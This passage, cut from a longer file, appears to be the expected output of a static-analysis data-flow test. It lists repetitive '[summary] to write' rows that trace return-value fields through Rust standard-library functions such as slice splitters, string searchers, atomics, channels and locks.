ReturnValue.Field[crate::slice::iter::RSplitNMut::inner] in lang:core::_::<[_]>::rsplitn_mut | RSplitNMut | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::rsplitn_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::RSplitNMut::inner] in lang:core::_::::new | RSplitNMut | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::RSplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count] in lang:core::_::<[_]>::rsplitn_mut | GenericSplitN.count | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::RSplitNMut::inner] in lang:core::_::<[_]>::rsplitn_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::RSplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count] in lang:core::_::::new | GenericSplitN.count | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::RSplitNMut::inner] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::RSplitNMut::inner].Field[crate::slice::iter::GenericSplitN::iter] in lang:core::_::::new | GenericSplitN.iter | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::RSplitNMut::inner] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::Split::pred] in lang:core::_::<[_]>::split | Split.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::split | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::Split::pred] in lang:core::_::::new | Split.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::Split::v] in lang:core::_::<[_]>::split | Split.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::split | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::Split::v] in lang:core::_::::new | Split.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitInclusive::pred] in lang:core::_::<[_]>::split_inclusive | SplitInclusive.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::split_inclusive | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitInclusive::pred] in lang:core::_::::new | SplitInclusive.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitInclusive::v] in lang:core::_::<[_]>::split_inclusive | SplitInclusive.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::split_inclusive | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitInclusive::v] in lang:core::_::::new | SplitInclusive.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitInclusiveMut::pred] in lang:core::_::<[_]>::split_inclusive_mut | SplitInclusiveMut.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::split_inclusive_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitInclusiveMut::pred] in lang:core::_::::new | SplitInclusiveMut.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitInclusiveMut::v] in lang:core::_::<[_]>::split_inclusive_mut | SplitInclusiveMut.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::split_inclusive_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitInclusiveMut::v] in lang:core::_::::new | SplitInclusiveMut.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitMut::pred] in lang:core::_::<[_]>::split_mut | SplitMut.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::split_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitMut::pred] in lang:core::_::::new | SplitMut.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitMut::v] in lang:core::_::<[_]>::split_mut | SplitMut.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::split_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitMut::v] in lang:core::_::::new | SplitMut.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitN::inner] in lang:core::_::<[_]>::splitn | SplitN | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::splitn | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitN::inner] in lang:core::_::::new | SplitN | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitN::inner].Field[crate::slice::iter::GenericSplitN::count] in lang:core::_::<[_]>::splitn | GenericSplitN.count | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitN::inner] in lang:core::_::<[_]>::splitn | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitN::inner].Field[crate::slice::iter::GenericSplitN::count] in lang:core::_::::new | GenericSplitN.count | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitN::inner] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitN::inner].Field[crate::slice::iter::GenericSplitN::iter] in lang:core::_::::new | GenericSplitN.iter | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitN::inner] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitNMut::inner] in lang:core::_::<[_]>::splitn_mut | SplitNMut | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::splitn_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitNMut::inner] in lang:core::_::::new | SplitNMut | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count] in lang:core::_::<[_]>::splitn_mut | GenericSplitN.count | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitNMut::inner] in lang:core::_::<[_]>::splitn_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitNMut::inner].Field[crate::slice::iter::GenericSplitN::count] in lang:core::_::::new | GenericSplitN.count | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitNMut::inner] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitNMut::inner].Field[crate::slice::iter::GenericSplitN::iter] in lang:core::_::::new | GenericSplitN.iter | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::SplitNMut::inner] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::Windows::size] in lang:core::_::::clone | Windows.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::Windows::size] in lang:core::_::::new | Windows.size | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::Windows::v] in lang:core::_::<[_]>::windows | Windows.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[_]>::windows | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::Windows::v] in lang:core::_::::clone | Windows.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::slice::iter::Windows::v] in lang:core::_::::new | Windows.v | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::iter::SplitInternal::matcher] in lang:core::_::::clone | SplitInternal.matcher | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::iter::SplitN(0)] in lang:core::_::::splitn | SplitN | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::splitn | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::iter::SplitN(0)].Field[crate::str::iter::SplitNInternal::count] in lang:core::_::::splitn | SplitNInternal.count | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::iter::SplitN(0)] in lang:core::_::::splitn | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::iter::SplitNInternal::iter] in lang:core::_::::clone | SplitNInternal.iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::lossy::Debug(0)] in lang:core::_::::debug | Debug | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::debug | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::lossy::Utf8Chunks::source] in lang:core::_::<[u8]>::utf8_chunks | Utf8Chunks | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<[u8]>::utf8_chunks | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::CharSearcher::haystack] in lang:core::_::::into_searcher | CharSearcher.haystack | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_searcher | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::CharSearcher::needle] in lang:core::_::::into_searcher | CharSearcher.needle | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_searcher | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::MultiCharEqSearcher::char_eq] in lang:core::_::::into_searcher | MultiCharEqSearcher.char_eq | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_searcher | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::MultiCharEqSearcher::haystack] in lang:core::_::::into_searcher | MultiCharEqSearcher.haystack | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::into_searcher | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::SearchStep::Match(0)] in lang:core::_::::matching | Match(0) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::matching | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::SearchStep::Match(1)] in lang:core::_::::matching | Match(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::matching | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::SearchStep::Reject(0)] in lang:core::_::::rejecting | Reject(0) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::rejecting | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::SearchStep::Reject(1)] in lang:core::_::::rejecting | Reject(1) | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::rejecting | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::StrSearcher::haystack] in lang:core::_::<&str as crate::str::pattern::Pattern>::into_searcher | StrSearcher.haystack | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<&str as crate::str::pattern::Pattern>::into_searcher | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::str::pattern::StrSearcher::needle] in lang:core::_::<&str as crate::str::pattern::Pattern>::into_searcher | StrSearcher.needle | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::<&str as crate::str::pattern::Pattern>::into_searcher | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::string::String::vec] in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | String | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::<&str as crate::string::SpecToString>::spec_to_string | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::string::String::vec] in lang:alloc::_::::clone | String | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::string::String::vec] in lang:alloc::_::::from_utf8_lossy_owned | String | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_utf8_lossy_owned | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::string::String::vec] in lang:alloc::_::::from_utf8_unchecked | String | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_utf8_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::Arc::alloc] in lang:alloc::_::::new_uninit_in | Arc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_uninit_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::Arc::alloc] in lang:alloc::_::::new_uninit_slice_in | Arc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_uninit_slice_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::Arc::alloc] in lang:alloc::_::::new_zeroed_in | Arc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_zeroed_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::Arc::alloc] in lang:alloc::_::::new_zeroed_slice_in | Arc.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_zeroed_slice_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::Weak::alloc] in lang:alloc::_::::downgrade | Weak.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::downgrade | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::Weak::alloc] in lang:alloc::_::::from_raw_in | Weak.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_raw_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::Weak::alloc] in lang:alloc::_::::new_in | Weak.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::Weak::ptr] in lang:alloc::_::::downgrade | Weak.ptr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::downgrade | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI8::v] in lang:core::_::::new | AtomicI8 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI8::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI8::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI16::v] in lang:core::_::::new | AtomicI16 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI16::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI16::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI32::v] in lang:core::_::::new | AtomicI32 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI32::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI32::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI64::v] in lang:core::_::::new | AtomicI64 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI64::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI64::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI128::v] in lang:core::_::::new | AtomicI128 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI128::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicI128::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicIsize::v] in lang:core::_::::new | AtomicIsize | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicIsize::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicIsize::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicPtr::p] in lang:core::_::::new | AtomicPtr | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicPtr::p].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicPtr::p] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU8::v] in lang:core::_::::new | AtomicU8 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU8::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU8::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU16::v] in lang:core::_::::new | AtomicU16 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU16::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU16::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU32::v] in lang:core::_::::new | AtomicU32 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU32::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU32::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU64::v] in lang:core::_::::new | AtomicU64 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU64::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU64::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU128::v] in lang:core::_::::new | AtomicU128 | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU128::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicU128::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicUsize::v] in lang:core::_::::new | AtomicUsize | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicUsize::v].Field[crate::cell::UnsafeCell::value] in lang:core::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::atomic::AtomicUsize::v] in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::barrier::Barrier::num_threads] in lang:std::_::::new | Barrier.num_threads | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::exclusive::Exclusive::inner] in lang:core::_::::new | Exclusive | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::Iter::rx] in lang:std::_::<&crate::sync::mpmc::Receiver as crate::iter::traits::collect::IntoIterator>::into_iter | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<&crate::sync::mpmc::Receiver as crate::iter::traits::collect::IntoIterator>::into_iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::Iter::rx] in lang:std::_::::iter | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::TryIter::rx] in lang:std::_::::try_iter | TryIter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::array::Channel::cap] in lang:std::_::::with_capacity | Channel.cap | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::with_capacity | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::counter::Receiver::counter] in lang:std::_::::acquire | Receiver | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::acquire | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::counter::Sender::counter] in lang:std::_::::acquire | Sender | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::acquire | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::error::SendTimeoutError::Disconnected(0)] in lang:std::_::::from | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::select::Selected::Operation(0)] in lang:std::_::::from | Operation | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::select::Selected::Operation(0)].Field[crate::sync::mpmc::select::Operation(0)] in lang:std::_::::from | Operation | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::select::Selected::Operation(0)] in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpmc::utils::CachePadded::value] in lang:std::_::::new | CachePadded | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Iter::rx] in lang:std::_::<&crate::sync::mpsc::Receiver as crate::iter::traits::collect::IntoIterator>::into_iter | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<&crate::sync::mpsc::Receiver as crate::iter::traits::collect::IntoIterator>::into_iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Iter::rx] in lang:std::_::::iter | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Sender::inner] in lang:std::_::::clone | Sender | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Sender::inner].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::Sender::inner] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::SyncSender::inner] in lang:std::_::::clone | SyncSender | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::SyncSender::inner].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::SyncSender::inner] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::TryIter::rx] in lang:std::_::::try_iter | TryIter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::try_iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::mpsc::TrySendError::Disconnected(0)] in lang:std::_::::from | Disconnected | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::PoisonError::data] in lang:std::_::::new | PoisonError | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::TryLockError::Poisoned(0)] in lang:std::_::::from | Poisoned | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data] in lang:std::_::::from | Mutex.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data] in lang:std::_::::new | Mutex.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value] in lang:std::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data] in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data].Field[crate::cell::UnsafeCell::value] in lang:std::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::mutex::Mutex::data] in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data] in lang:std::_::::from | RwLock.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data] in lang:std::_::::new | RwLock.data | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value] in lang:std::_::::from | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data] in lang:std::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data].Field[crate::cell::UnsafeCell::value] in lang:std::_::::new | UnsafeCell | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLock::data] in lang:std::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock] in lang:std::_::::downgrade | RwLockReadGuard.inner_lock | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::downgrade | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock].Reference in lang:std::_::::downgrade | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::poison::rwlock::RwLockReadGuard::inner_lock] in lang:std::_::::downgrade | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::sync::reentrant_lock::ReentrantLock::data] in lang:std::_::::new | 